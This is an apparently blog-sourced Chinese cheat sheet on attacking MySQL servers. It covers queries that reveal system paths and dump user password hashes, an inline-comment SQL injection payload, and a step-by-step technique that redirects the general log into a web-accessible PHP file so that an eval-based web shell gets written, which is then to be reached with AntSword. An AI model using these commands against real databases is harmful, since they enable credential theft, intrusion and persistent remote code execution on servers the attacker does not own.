获取MySQL基本信息
select @@version_compile_os, @@version_compile_machine;
获取操作系统信息,及运行的是64位还是32位
select @@version;
查询数据库版本
select @@basedir;
查询MYSQL安装路径
select @@plugin_dir ;
查看plugin路径
select host, user, password from mysql.user;
查询hash (MySQL <= 5.6 )
select host, user, authentication_string from mysql.user;
查询hash (MySQL >= 5.7 )
ps -ef|grep mysqld
查看mysql安装目录、数据目录等。
MySQL最重要的一个数据库
MySQL:MySQL5.0版本之后,自带information_schema数据库,该数据库中存储了所有数据库名、表名、字段名等信息,对应三个表,schemata表(schema_name字段名)、tables表(table_name字段)、columns表(column_name字段)。
MySQL常用语句示例
查询语句
例:Select 字段名 from 库名.表名
例:Select 字段名 from 库名.表名 where 某字段名='已知的值'
例:Select 字段名 from 库名.表名 where 某字段名1='已知的值1' and 某字段名2='已知的值2'
limit用法
Limit 0,1:0表示从第一个结果开始,1表示返回一个结果。
例:select 字段名 from 库名.表名 limit 0,1
数据库名/版本/用户查询
database():查询当前使用的数据库名。
version():查询当前数据库版本。
user():查询当前连接MySQL的用户信息。
注释
MySQL中注释有:# 或者 --空格 或者/**/,三种方式。
内联注释:/*!code*/
示例:?Id=5 /*!union*/ /*!select*/ 1,2,3
MySQL日志功能及利用
1、SHOW VARIABLES LIKE ‘general%’ 查询日志开启状态。
2、set global general_log = “ON”; 开启日志记录
3、set global general_log_file=‘绝对路径/shell.php’; 设置日志路径,设置为网站对外可访问的绝对路径下。
4、select ‘<?php @eval($POST[value]);?>’; 这句查询语句将作为操作日志记录到前一步设置的shell.php文件中。
5、浏览器访问shell.php,并用中国蚁剑等工具连接。
2万+

被折叠的 条评论
为什么被折叠?



